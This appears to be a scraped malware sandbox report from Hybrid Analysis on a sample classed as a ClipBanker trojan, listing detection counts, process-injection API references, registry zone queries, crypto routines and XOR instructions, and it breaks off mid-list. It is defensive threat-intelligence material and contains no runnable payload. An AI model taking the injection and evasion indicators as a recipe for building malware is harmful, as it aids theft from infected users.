24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 8e:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4a4,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious IL:Trojan.ClipBanker Sample 84d011e18cec… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 84d011e18cec…. Malware family: IL:Trojan.ClipBanker. Threat score 100/100. 18/24 AV engines flagged this file. 22 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799","keywords":["Malicious","IL:Trojan.ClipBanker","malware analysis","sandbox report","threat intelligence","84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799"],"about":{"@type":"SoftwareApplication","name":"file","applicationCategory":["peexe","assembly","executable"],"identifier":"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"IL:Trojan.ClipBanker","antivirusDetections":{"malicious":18,"total":24},"behavioralIndicators":{"malicious":22,"suspicious":24},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T9fc,Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "WTSFreeMemory" (Indicator: "FreeMemory"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "CreateThread Error" (Indicator: "CreateThread"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp")26:T6ac,"BroomSetup.exe" called "FindResourceW" with parameter "7972796" - (UID: 00000000-00004500) "BroomSetup.exe" called "FindResourceW" with parameter "7104496" - (UID: 00000000-00004500) "BroomSetup.exe" called "FindResourceW" with parameter "7104516" - (UID: 00000000-00004500) "BroomSetup.exe" called "FindResourceW" with parameter "7104536" - (UID: 00000000-00004500) "BroomSetup.exe" called "FindResourceW" with parameter "7104556" - (UID: 00000000-00004500) "BroomSetup.exe" called "FindResourceW" with parameter "7104576" - (UID: 00000000-00004500) "BroomSetup.exe" called "FindResourceW" with parameter "7973896" - (UID: 00000000-00004500) "BroomSetup.exe" called "FindResourceW" with parameter "789" - (UID: 00000000-00004500) "BroomSetup.exe" called "FindResourceW" with parameter "2" - (UID: 00000000-00004500) "BroomSetup.exe" called "FindResourceW" with parameter "9" - (UID: 00000000-00004500) "BroomSetup.exe" called "FindResourceW" with parameter "3" - (UID: 00000000-00004500) "BroomSetup.exe" called "FindResourceW" with parameter "19" - (UID: 00000000-00004500) "BroomSetup.exe" called "FindResourceW" with parameter "1001" - (UID: 00000000-00004500) "BroomSetup.exe" called "FindResourceW" with parameter "2105" - (UID: 00000000-00004500) "BroomSetup.exe" called "FindResourceW" with parameter "10" - (UID: 00000000-00004500) "BroomSetup.exe" called "FindResourceW" with parameter "20" - (UID: 00000000-00004500) "BroomSetup.exe" called "FindResourceW" with parameter "2107" - (UID: 00000000-00004500) "BroomSetup.exe" called "FindResourceW" with parameter "8" - (UID: 00000000-00004500) "BroomSetup.exe" called "FindResourceW" with parameter "18" - (UID: 00000000-00004500)27:T968,"InstallSetup9.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4477632'}" (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4477520'}" (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadResource with parameter {'hModule': '268435456', 'hResInfo': '268480704'}" (UID: 00000000-00002856) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485720'}" (UID: 00000000-00004500) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8483608'}" (UID: 00000000-00004500) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485736'}" (UID: 00000000-00004500) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8483624'}" (UID: 00000000-00004500) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485752'}" (UID: 00000000-00004500) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8483640'}" (UID: 00000000-00004500) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485768'}" (UID: 00000000-00004500) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8483656'}" (UID: 00000000-00004500) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485800'}" (UID: 00000000-00004500) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8483688'}" (UID: 00000000-00004500) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485784'}" (UID: 00000000-00004500) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8483672'}" (UID: 00000000-00004500) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485816'}" (UID: 00000000-00004500) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8484232'}" (UID: 00000000-00004500) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8484200'}" (UID: 00000000-00004500) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '1977286656', 'hResInfo': '2491888'}" (UID: 00000000-00004500)28:T16f4,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "SleepEx" (Indicator: "SleepEx"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70BFA000.00000002.mdmp, 00000000-00004500.00000001.82966.70C94000.00000002.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp") Found reference to API "result == ((((DWORD )0x00000000L) ) + 0 ) && L"WaitForSingleObject failed"" (Indicator: "WaitForSingleObject"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70BFA000.00000002.mdmp, 00000000-00004500.00000001.82966.70C94000.00000002.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp") Found reference to API "(BOOL)g_pfnGetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "CreateTimerQueueTimer(&m_hTimerQueueHandle, nullptr, PeriodicTimer::TimerFired, this, period, period, 0x00000000)" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp")29:Ta17,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp")2a:T493,Found reference to API "RegRestoreKeyW" (Indicator: "RegRestoreKey"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "RegFlushKey" (Indicator: "RegFlushKey"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "RegReplaceKeyW" (Indicator: "RegReplaceKey"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "RegSetValueExW" (Indicator: "RegSetValue"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "RegSetValueExW" (Indicator: "RegSetValue"; Source: "00000000-00002512.00000001.82002.0B480000.00000004.mdmp") Found reference to API "RegSetValueExW" (Indicator: "RegSetValue"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found reference to API "RegSetValueExW" (Indicator: "RegSetValue"; Source: "00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp")2b:T555,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00002512.00000001.82002.0B480000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00002512.00000001.82002.0B480000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00002512.00000001.82002.0B480000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00002512.00000001.82002.0B480000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/w" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/w" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp")2c:T4ca,Found reference to ".?AVSHA512@CryptoPP@@" (Indicator: "SHA512"; Source: "00000000-00004500.00000001.82966.70362000.00000004.mdmp") Found reference to ".?AV?$IteratedHashWithStaticTransform@_KU?$EnumToType@W4ByteOrder@CryptoPP@@$00@CryptoPP@@$0IA@$0EA@VSHA512@2@$0EA@@CryptoPP@@" (Indicator: "SHA512"; Source: "00000000-00004500.00000001.82966.70362000.00000004.mdmp") Found reference to ".?AV?$ClonableImpl@VSHA512@CryptoPP@@V?$AlgorithmImpl@V?$IteratedHash@_KU?$EnumToType@W4ByteOrder@CryptoPP@@$00@CryptoPP@@$0IA@VHashTransformation@2@@CryptoPP@@VSHA512@2@@2@@CryptoPP@@" (Indicator: "SHA512"; Source: "00000000-00004500.00000001.82966.70362000.00000004.mdmp") Found reference to ".?AV?$AlgorithmImpl@V?$IteratedHash@_KU?$EnumToType@W4ByteOrder@CryptoPP@@$00@CryptoPP@@$0IA@VHashTransformation@2@@CryptoPP@@VSHA512@2@@CryptoPP@@" (Indicator: "SHA512"; Source: "00000000-00004500.00000001.82966.70362000.00000004.mdmp") Found reference to ".?AV?$HMAC@VSHA512@CryptoPP@@@CryptoPP@@" (Indicator: "HMAC"; Source: "00000000-00004500.00000001.82966.70362000.00000004.mdmp") Found reference to ".?AV?$HMAC@VSHA512@CryptoPP@@@CryptoPP@@" (Indicator: "SHA512"; Source: "00000000-00004500.00000001.82966.70362000.00000004.mdmp")2d:Tdc2,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\3") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\3") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\3") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\3") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\4") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\4") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\4") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\4") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\LOCKDOWN_ZONES\") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\LOCKDOWN_ZONES\") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\LOCKDOWN_ZONES\") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\LOCKDOWN_ZONES\0") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\LOCKDOWN_ZONES\0") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\LOCKDOWN_ZONES\0") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\0") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\0") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\LOCKDOWN_ZONES\1") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\LOCKDOWN_ZONES\1") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\LOCKDOWN_ZONES\1")2e:T4b7,Found api reference "CryptAcquireContextW(&hProv, 0, 0, 1, 0xF0000000)" (Indicator: "CryptAcquireContextW"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found api reference "CryptImportKey(hProv, pBlob, cbBlob, 0, 0, &hKey)" (Indicator: "CryptImportKey"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found api reference "CryptCreateHash(hProv, ((4 << 13) | (0) | 9), hKey, 0, &hHash)" (Indicator: "CryptCreateHash"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found api reference "CryptSetHashParam(hHash, 0x0005, pHmacInfo, 0)" (Indicator: "CryptSetHashParam"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found api reference "CryptHashData(hHash, pbBuffer, cbBuffer, 0)" (Indicator: "CryptHashData"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found api reference "CryptHashData(hHash, bHmacPadding, cbPadding, 0)" (Indicator: "CryptHashData"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found api reference "CryptGetHashParam(hHash, 0x0002, pHash, &dwHmacLen, 0)" (Indicator: "CryptGetHashParam"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp")2f:Tc31,Assembly shows XOR instruction xor ecx dword ptr [eax+08h] in Stream UID: 00000000-00004224-29862-201-0042CFDE Assembly shows XOR instruction xor dword ptr [eax+08h] ecx in Stream UID: 00000000-00004224-29862-201-0042CFDE Assembly shows XOR instruction xor ecx dword ptr [eax] in Stream UID: 00000000-00004224-29862-201-0042CFDE Assembly shows XOR instruction xor dword ptr [eax] ecx in Stream UID: 00000000-00004224-29862-201-0042CFDE Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00004224-29862-217-00429200 Assembly shows XOR instruction xor byte ptr [ebx+esi] al in Stream UID: 00000000-00004224-29862-217-00429200 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00004224-29862-217-00429200 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004224-29862-263-004112CD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004224-29862-263-004112CD Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004224-29862-314-0040FC81 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004224-29862-314-0040FC81 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004224-29862-324-004104A2 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004224-29862-324-004104A2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004224-29862-338-004107DA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004224-29862-338-004107DA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004224-29862-345-004110A2 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004224-29862-345-004110A2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004224-29862-360-004128DD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004224-29862-360-004128DD Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004224-29862-409-0041430A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004224-29862-409-0041430A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004224-29862-423-00415063 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004224-29862-423-00415063 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004224-29862-430-00415336 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004224-29862-430-00415336 Assembly shows XOR instruction xor eax ebp in Stream UID: 